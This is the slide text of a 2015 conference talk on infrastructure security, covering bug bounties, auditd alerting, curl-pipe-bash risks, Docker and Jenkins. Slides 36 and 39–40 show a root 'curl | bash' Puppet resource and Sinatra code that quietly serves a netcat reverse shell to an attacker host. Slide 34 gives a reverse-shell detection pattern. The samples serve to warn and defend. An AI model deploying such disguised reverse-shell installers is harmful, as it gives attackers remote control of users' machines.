Infrastructure Security: How Hard Could it Be, Right?
1 — @benjammingh for PuppetConf 2015
Slide 2
Slide 2 text
To save us all time!
Important announcements.
2 — @benjammingh for PuppetConf 2015
Slide 3
Slide 3 text
Who's this clown? 2
· Infrastructure security at Etsy.
· Recovered operations monkey at Puppet Labs.
· Was at that fabled PuppetCamp way back in
2009.
· Had 1300 accounts on his high school Linux
system. (:
2 https://twitter.com/skullmandible/status/411281851131523072
3 — @benjammingh for PuppetConf 2015
Slide 4
Slide 4 text
I am not Tomas Doran.
· I don't know anything about Mesos or Perl.
· He's taller and his hair is on the other side.
· (he's also much smarter than me)
4 — @benjammingh for PuppetConf 2015
Slide 5
Slide 5 text
Yes, I do know Kara Sowles
· She's the loveliest person.
· She likes sea slugs3.
· I'm not dying my hair blue again.
3 https://en.wikipedia.org/wiki/Nudibranch
5 — @benjammingh for PuppetConf 2015
Slide 6
Slide 6 text
Setlist
· Intros. (you are here).
· Few real world problems & applications.
· Fixes, or at least coping mechanisms.
· Panicked summary based on time.
· We victoriously ride our fixies to a coffee shoppe
as one!
6 — @benjammingh for PuppetConf 2015
Slide 7
Slide 7 text
Security!
7 — @benjammingh for PuppetConf 2015
Slide 8
Slide 8 text
The problem
security is hard.
8 — @benjammingh for PuppetConf 2015
Slide 9
Slide 9 text
From tiny seeds, do mighty acorns grow.
· PinkiePwn's 6 tiny bugs in Chrome to full
sandbox escape.
· Egor Homakov's 5 small bugs in Github to full
private access on GitHub.
· XSS to remote code execution in under an hour.
· Username & password stolen for HVAC system
leads to $160+ Million Target breach.
9 — @benjammingh for PuppetConf 2015
Slide 10
Slide 10 text
Things that aren't
security are hard too.
10 — @benjammingh for PuppetConf 2015
Slide 11
Slide 11 text
Computering is hard.
No. 1 takeaway for security types
is a sense of perspective.
11 — @benjammingh for PuppetConf 2015
Slide 12
Slide 12 text
Security people aren't great secure coders.
· Snort: 10 CVEs, Wireshark: 322! CVEs
· Security Firm Bit9 Hacked, Used to Spread
Malware
· Joxean Koret on Breaking Antivurius so!ware
· Tavis from Project Zero on exploiting ESET
· BEST! FireEye just running Apache/PHP as root
!
12 — @benjammingh for PuppetConf 2015
Slide 13
Slide 13 text
So who do I trust?
· No one? Always a great position for security
people, who don't want to get paid.
· Everyone? Do I have some emails with funny
cats for you to click on.
· Security vendors? If you have infinite money
and no attackers.
· Attackers!
13 — @benjammingh for PuppetConf 2015
Slide 14
Slide 14 text
"You're already being probed for
security holes, do you want to
know or not?"
14 — @benjammingh for PuppetConf 2015
Slide 15
Slide 15 text
Bug bounties 101:
Have one!
Bug Crowd vs. HackerOne
15 — @benjammingh for PuppetConf 2015
Slide 16
Slide 16 text
Bug bounties 102:
Prepare a lot.
16 — @benjammingh for PuppetConf 2015
Slide 17
Slide 17 text
Bug bounties 103:
The first few weeks will be hell.
17 — @benjammingh for PuppetConf 2015
Slide 18
Slide 18 text
Bug bounties 104:
Be ready with bees!
18 — @benjammingh for PuppetConf 2015
Slide 19
Slide 19 text
Security on the inside
19 — @benjammingh for PuppetConf 2015
Slide 20
Slide 20 text
Armadillo security
architecture
20 — @benjammingh for PuppetConf 2015
Slide 21
Slide 21 text
Cloud
21 — @benjammingh for PuppetConf 2015
Slide 22
Slide 22 text
Github
22 — @benjammingh for PuppetConf 2015
Slide 23
Slide 23 text
23 — @benjammingh for PuppetConf 2015
Slide 24
Slide 24 text
But this doesn't happen in
real life, right?
24 — @benjammingh for PuppetConf 2015
Slide 25
Slide 25 text
25 — @benjammingh for PuppetConf 2015
Slide 26
Slide 26 text
Go use Gitrob
· http://michenriksen.com/blog/gitrob-putting-
the-open-source-in-osint/
· https://github.com/michenriksen/gitrob
26 — @benjammingh for PuppetConf 2015
Slide 27
Slide 27 text
Auditd
27 — @benjammingh for PuppetConf 2015
Slide 28
Slide 28 text
Auditd
Auditd is the best way to get command execution
logged in your infrastructure.
28 — @benjammingh for PuppetConf 2015
Slide 29
Slide 29 text
Auditd
Auditd is the worst way to get this information to
a log file.
type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000....
typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl"
type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax"
type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
29 — @benjammingh for PuppetConf 2015
Slide 30
Slide 30 text
Mark Ellzey on Auditd.
30 — @benjammingh for PuppetConf 2015
Slide 31
Slide 31 text
WHY?
Why are the logs multiline?
31 — @benjammingh for PuppetConf 2015
Slide 32
Slide 32 text
Multiline logs are the
spawn of The Devil
Oracle's Java
32 — @benjammingh for PuppetConf 2015
Slide 33
Slide 33 text
Coping with multiline auditd
· ELK: multiline filter in Logstash.
· Other: Audisp-json
· Have cash, want a decent GUI (and more): Go
use Threatstack!
· Write something yourself in python & golang: I
keep promising to OSS this ):
33 — @benjammingh for PuppetConf 2015
Slide 34
Slide 34 text
Alert on sketchy things. (assumes ELK)
1. Elastalert from Yelp
2. Alert on "/bin/nc *-e /bin/sh*"
3. You will now find when someone tries to run a
reverse shell!
4. Or when yours ops people do fun things.
34 — @benjammingh for PuppetConf 2015
Slide 35
Slide 35 text
curl | bash
35 — @benjammingh for PuppetConf 2015
Slide 36
Slide 36 text
AHEM, "on brand slide"
exec{ "curl root.legit.pw | bash":
creates => '/tmp/backdoorshell',
user => 'root',
wrongthing => 'for_the_tshirt',
}
Puppet™ is best!
36 — @benjammingh for PuppetConf 2015
Slide 37
Slide 37 text
curl legit.pw | sh
37 — @benjammingh for PuppetConf 2015
Slide 38
Slide 38 text
"But I check them, obviously!"
38 — @benjammingh for PuppetConf 2015
Slide 39
Slide 39 text
Sinatra example
get '/install.sh' do
if request.env['HTTP_USER_AGENT'] =~ /curl/
return 'nc -e /bin/sh root.legit.pw 2222 &'
else
return print_install_code()
end
end
39 — @benjammingh for PuppetConf 2015
Slide 40
Slide 40 text
Sinatra example 2: Payback
get '/install.sh' do
ip = request.env['HTTP_CLIENT_IP']
if seen_before.include? ip
return print_install_code()
else
seen_before << ip
return 'nc -e /bin/sh root.legit.pw 2222 &'
end
end
40 — @benjammingh for PuppetConf 2015
Slide 41
Slide 41 text
41 — @benjammingh for PuppetConf 2015
Slide 42
Slide 42 text
curl | bash
"But this is no worse than packages."
foo$ sudo yum install sketchy
foo$ sudo aptitude install sketchy
42 — @benjammingh for PuppetConf 2015
Slide 43
Slide 43 text
curl | bash
"but worse than downloading RPMs from a
random site?"
foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm
foo$ dpkg-sig --verify sketchy.1.33-7.deb
43 — @benjammingh for PuppetConf 2015
Verifiable
This doesn't exist:
foo$ curl legit.pw/sketch.sh | sudo sh --gpg-verify
No one has ever done this:
foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh
45 — @benjammingh for PuppetConf 2015
Slide 46
Slide 46 text
curl | bash
"But I trust HTTPS"
· HTTPS certs cost ~$6.
· If I can't make $6 by owning a system, I should
probably stop being an attacker.
· @letsencrypt will soon make this free.
46 — @benjammingh for PuppetConf 2015
curl --yolo | \
sudo sh --yolo
48 — @benjammingh for PuppetConf 2015
Slide 49
Slide 49 text
curl | bash
What to do?
49 — @benjammingh for PuppetConf 2015
Slide 50
Slide 50 text
A LIVE DEMO, madness.
50 — @benjammingh for PuppetConf 2015
Slide 51
Slide 51 text
Lightweight containers!
51 — @benjammingh for PuppetConf 2015
Slide 52
Slide 52 text
chroot(8)
52 — @benjammingh for PuppetConf 2015
Slide 53
Slide 53 text
FreeBSD Jails
53 — @benjammingh for PuppetConf 2015
Slide 54
Slide 54 text
Solaris Zones
54 — @benjammingh for PuppetConf 2015
Slide 55
Slide 55 text
AIX WPAR
55 — @benjammingh for PuppetConf 2015
Slide 56
Slide 56 text
56 — @benjammingh for PuppetConf 2015
Slide 57
Slide 57 text
Is Docker secure?
57 — @benjammingh for PuppetConf 2015
Slide 58
Slide 58 text
>30% of Images in Docker
Hub Contain High
Priority Security Vulns
- Jayanth Gummaraju, Tarun Desikan
and Yoshio Turner from BanyanOps
58 — @benjammingh for PuppetConf 2015
Slide 59
Slide 59 text
59 — @benjammingh for PuppetConf 2015
Slide 60
Slide 60 text
As secure as Vagrant?
60 — @benjammingh for PuppetConf 2015
Slide 61
Slide 61 text
But is Docker itself secure?
· Don't run things as root.
· No really, stop running things as root.
· Did I mention not running things as root.
· It is also not 1999.
(Docker 1.8 addresses some of this, with it's
changes to who it runs as)
61 — @benjammingh for PuppetConf 2015
Slide 62
Slide 62 text
Securify the Docker.
· Don't use --privileged.
· Use --cap-drop all and --cap-drop
to get the minimum capabilities.
· Use Docker Notary
· Use GRSecurity (just do that anyway, if you
can.)
· Use SELinux... I may as well ask for a pony here.
62 — @benjammingh for PuppetConf 2015
Slide 63
Slide 63 text
But is Docker secure?
More secure than what?
63 — @benjammingh for PuppetConf 2015
Slide 64
Slide 64 text
Threat modelling for beginners
1. what are you actually defending against?
2. from whom?
3. for how much?
64 — @benjammingh for PuppetConf 2015
Slide 65
Slide 65 text
Lateral movement > uid=0
65 — @benjammingh for PuppetConf 2015
Slide 66
Slide 66 text
· I am not saying Docker is ZOMG unhackable.
· it's just cgroups and namespacing. (just)
· Escapes will happen.
· They have a rad security team (Hi
@diogomonica and @nathanmccauley)
66 — @benjammingh for PuppetConf 2015
Slide 67
Slide 67 text
unpinchofsaltd
· You can use it in a way that is secure, enough.
· network separation & segregation still works.
· secrets/credentials still a bigger problem.
· PLEASE don't just adopt it because it's new &
shiny.
· ! " unikernels ✨ $
67 — @benjammingh for PuppetConf 2015
Slide 68
Slide 68 text
By law, you must include a container ship image
68 — @benjammingh for PuppetConf 2015
Slide 69
Slide 69 text
Jenkins!
69 — @benjammingh for PuppetConf 2015
Slide 70
Slide 70 text
One of the main delights
with Jenkins is...
70 — @benjammingh for PuppetConf 2015
Slide 71
Slide 71 text
Jenkins!
user{ 'hudson':
home => '/home/hudson',
...
}
Who's this Hudson guy?
71 — @benjammingh for PuppetConf 2015
Slide 72
Slide 72 text
It's entire job is to take
arbitrary code and run it,
With access to some
secret/credential data.
72 — @benjammingh for PuppetConf 2015
Slide 73
Slide 73 text
It's literally remote
code execution as a service.
73 — @benjammingh for PuppetConf 2015
Slide 74
Slide 74 text
Cruft
+
all your code & (some) secrets
74 — @benjammingh for PuppetConf 2015
Slide 75
Slide 75 text
75 — @benjammingh for PuppetConf 2015
Slide 76
Slide 76 text
RCE as a service 6
6 Hacking Jenkins Servers With No Password
76 — @benjammingh for PuppetConf 2015
Slide 77
Slide 77 text
* Disable execution on the
master Jenkins host.
* Disable anonymous access.
* (Use travis)
77 — @benjammingh for PuppetConf 2015
Slide 78
Slide 78 text
But what if Jenkins could
be harnessed for good?
78 — @benjammingh for PuppetConf 2015
Slide 79
Slide 79 text
Jenkins as a force for [security] good
· Gauntlt "be mean to your code"
· https://github.com/secure-pipeline
· Fscking Adobe blog on secure so!ware, zomg!
79 — @benjammingh for PuppetConf 2015
Slide 80
Slide 80 text
80 — @benjammingh for PuppetConf 2015
Slide 81
Slide 81 text
81 — @benjammingh for PuppetConf 2015
Slide 82
Slide 82 text
Summary
· Computers are apparently hard.
· Security is clearly harder still, obv.
· Actually trust and humans is hard.
· The typing is the easy bit. (ish)
82 — @benjammingh for PuppetConf 2015
Slide 83
Slide 83 text
More Summary
· Complex systems lead to much more complex
security problems. (see Oauth)
· Annual pen-tests don't scale, bug bounties can
help.
· Attackers are mining any public info you have
(GitHub, S3, pastebin?)
83 — @benjammingh for PuppetConf 2015
Slide 84
Slide 84 text
Yet More summary
· No really, go check all your S3 buckets...
· I beg you to stop trusting curl.
· If you put an install script online, rather than a
package, I will find you.
84 — @benjammingh for PuppetConf 2015
Slide 85
Slide 85 text
Will there be a summary of summaries?
· Auditd is awful, but it can be fewer awful.
· Jenkins, you probably have to have one.
· but that can be okay, nay, even useful for
security.
85 — @benjammingh for PuppetConf 2015
Slide 86
Slide 86 text
A summary appeared, what happened next will
shock you
· Docker and security can be used in the same
sentence.
· Understand your threat model (Apple's guide)
· Don't be a FireEye, stop running things as root.
86 — @benjammingh for PuppetConf 2015